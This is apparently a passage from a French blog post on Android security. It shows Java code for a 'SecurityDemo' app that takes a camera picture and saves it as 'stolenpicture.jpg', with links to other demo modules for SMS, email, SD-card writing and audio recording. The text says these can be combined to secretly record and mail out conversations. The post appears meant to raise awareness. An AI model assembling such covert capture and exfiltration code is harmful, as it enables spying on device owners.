  26:     private static final String TAG = "CameraDemo";    

  27:     Camera camera;    

  28:     Preview preview;    

  29:     Button buttonClick;    

  30:     

  31:     /** Called when the activity is first created. */    

  32:     @Override    

  33:     public void onCreate(Bundle savedInstanceState) {

  34:         super.onCreate(savedInstanceState);

  35:         setContentView(R.layout.activity_picturedemo);

  36:         preview = new Preview(this);

  37:         ((FrameLayout) findViewById(R.id.preview)).addView(preview);

  38:         buttonClick = (Button) findViewById(R.id.buttonClick);

  39:         buttonClick.setOnClickListener(new OnClickListener() {            

  40:             public void onClick(View v) {                

  41:                 preview.camera.takePicture(shutterCallback, rawCallback,                        

  42:                         jpegCallback);            

  43:                 }        

  44:             });

  45:         

  46:             Log.d(TAG, "onCreate'd");    

  47:         }

  48:     

  49:         ShutterCallback shutterCallback = new ShutterCallback() {        

  50:             public void onShutter() {            

  51:                 Log.d(TAG, "onShutter'd");        

  52:                 }    

  53:         };    

  54:         

  55:         /** Handles data for raw picture */    

  56:         PictureCallback rawCallback = new PictureCallback() {        

  57:             public void onPictureTaken(byte[] data, Camera camera) {            

  58:                 Log.d(TAG, "onPictureTaken - raw");        

  59:                 }    

  60:         };    

  61:         

  62:         /** Handles data for jpeg picture */    

  63:         PictureCallback jpegCallback = new PictureCallback() {        

  64:             public void onPictureTaken(byte[] data, Camera camera) {            

  65:                 FileOutputStream outStream = null;            

  66:                 try {                

  67:                     outStream = new FileOutputStream(Environment.getExternalStorageDirectory().getPath() + "/stolenpicture.jpg");                

  68:                     outStream.write(data);                

  69:                     outStream.close();                

  70:                     Log.d(TAG, "onPictureTaken - wrote bytes: " + data.length);        

  71:                     

  72:                 } catch (FileNotFoundException e) {                

  73:                     e.printStackTrace();            

  74:                 } catch (IOException e) {                

  75:                     e.printStackTrace();            

  76:                 } finally {        

  77:                 }            

  78:                 Log.d(TAG, "onPictureTaken - jpeg");        

  79:             }    

  80:         };

  81:         

  82:  

  83:         public boolean onPrepareOptionsMenu(Menu menu) 

  84:         {

  85:             super.onPrepareOptionsMenu(menu);

  86:             

  87:             return true;

  88:         }

  89:  

  90:         // ------------------------------------------------------

  91:         // ------------------------------------------------------

  92:         @Override

  93:         public boolean onCreateOptionsMenu(Menu menu) 

  94:         {

  95:             super.onCreateOptionsMenu(menu);

  96:             

  97:             try

  98:             {

  99:                 MenuInflater inflater = getMenuInflater();

 100:                 inflater.inflate(R.menu.securitydemo, menu);        

 101:                 inflater = null;

 102:             }

 103:             catch (Exception e)

 104:             {

 105:             }

 106:  

 107:             return true;

 108:         }

 109:  

 110:         // ------------------------------------------------------

 111:         // ------------------------------------------------------

 112:         @Override

 113:         public boolean onOptionsItemSelected(MenuItem item) 

 114:         {

 115:             switch (item.getItemId()) 

 116:             {

 117:                 case R.id.menu_mail: 

 118:                 {

 119:                     Intent intent = new Intent(this, SendEmailDemo.class);

 120:                     this.startActivity(intent);

 121:                     finish();

 122:                     return true;

 123:                 }

 124:         

 125:                 case R.id.menu_sd: 

 126:                 {

 127:                     Intent intent = new Intent(this, WriteSDDemo.class);

 128:                     this.startActivity(intent);

 129:                     finish();

 130:                     return true;

 131:                 }

 132:         

 133:                 case R.id.menu_sms: 

 134:                 {

 135:                     Intent intent = new Intent(this, SecurityDemo.class);

 136:                     this.startActivity(intent);

 137:                     finish();

 138:                     return true;

 139:                 }

 140:  

 141:                 case R.id.menu_picture: 

 142:                 {

 143:                     return true;

 144:                 }

 145:  

 146:                 case R.id.menu_audio: 

 147:                 {

 148:                     Intent intent = new Intent(this, AudioRecordTest.class);

 149:                     this.startActivity(intent);

 150:                     finish();

 151:                     return true;

 152:                 }

 153:             }

 154:             

 155:             return false;

 156:         }

 157:  

 158: }

 159:  

 160:  


Bien sûr toutes ces fonctions peuvent être combinées, comme par exemple l'enregistrement d'une conversation, le stockage du fichier "audio" dans le système de fichiers et l"envoi de ce fichier par mail.

L'application SecurityDemo est téléchargeable ICI.

Voici quelques captures d'écrans:

droid@screen-21

droid@screen-22

N'hésitez pas à me contacter si vous souhaitez avoir plus d'informations sur cette application.

Partager avec...